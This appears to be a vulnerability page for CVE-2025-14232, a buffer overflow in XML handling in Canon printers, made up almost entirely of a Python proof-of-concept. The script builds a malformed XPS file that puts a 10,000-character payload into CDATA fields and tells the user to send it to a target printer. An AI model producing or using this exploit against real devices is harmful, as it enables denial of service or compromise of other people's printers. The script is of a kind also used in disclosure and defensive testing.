CVE-2025-14232 佳能打印机XML处理缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-14232 PoC - Canon Printer XPS Buffer Overflow # This PoC generates a malicious XPS file with oversized XML tags import struct import zipfile import io def create_malicious_xps(): """Generate a crafted XPS file to trigger buffer overflow in XML parsing""" # Create XPS package structure xps_content = io.BytesIO() with zipfile.ZipFile(xps_content, 'w', zipfile.ZIP_DEFLATED) as xps: # [Content_Types].xml - Required XPS manifest content_types = '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/FixedDocumentSequence.fds" ContentType="application/vnd.ms-xpsdocument"/> <Override PartName="/Documents/1/FixedDocument.fdoc" ContentType="application/vnd.ms-xpsdocument"/> </Types>''' xps.writestr('[Content_Types].xml', content_types) # _rels/.rels - Package relationships rels = '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.microsoft.com/xps/2005/relationships/fixeddocumentsequence" Target="/FixedDocumentSequence.fds"/> </Relationships>''' xps.writestr('_rels/.rels', rels) # FixedDocumentSequence.fds - Document sequence with malicious XML # Payload: Oversized tag content to trigger buffer overflow oversized_payload = 'A' * 10000 # Large payload to overflow buffer doc_sequence = f'''<?xml version="1.0" encoding="UTF-8"?> <FixedDocumentSequence xmlns="http://schemas.microsoft.com/xps/2006/5" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <DocumentReference Source="Documents/1/FixedDocument.fdoc"> <Payload><![CDATA[{oversized_payload}]]></Payload> </DocumentReference> </FixedDocumentSequence>''' xps.writestr('FixedDocumentSequence.fds', doc_sequence) # Documents/1/FixedDocument.fdoc doc = '''<?xml version="1.0" encoding="UTF-8"?> <FixedDocument xmlns="http://schemas.microsoft.com/xps/2006/5"> <PageContent Source="Pages/1.fpage"/> </FixedDocument>''' xps.writestr('Documents/1/FixedDocument.fdoc', doc) # Pages/1.fpage - Malicious page with buffer overflow trigger page_content = f'''<?xml version="1.0" encoding="UTF-8"?> <FixedPage xmlns="http://schemas.microsoft.com/xps/2006/5" Width="816" Height="1056"> <Canvas> <Path Data="M 0,0 L 100,0"> <Path.RenderTransform> <MatrixTransform> <Matrix><![CDATA[1 0 0 1 {oversized_payload} 0]]></Matrix> </MatrixTransform> </Path.RenderTransform> </Path> </Canvas> </FixedPage>''' xps.writestr('Documents/1/Pages/1.fpage', page_content) return xps_content.getvalue() def exploit(): """Main exploit function""" print("[*] Generating malicious XPS file for CVE-2025-14232") xps_data = create_malicious_xps() output_file = "CVE-2025-14232_poc.xps" with open(output_file, 'wb') as f: f.write(xps_data) print(f"[+] PoC XPS file created: {output_file}") print(f"[+] File size: {len(xps_data)} bytes") print("[*] Send this file to target Canon printer to trigger vulnerability") return output_file if __name__ == "__main__": exploit()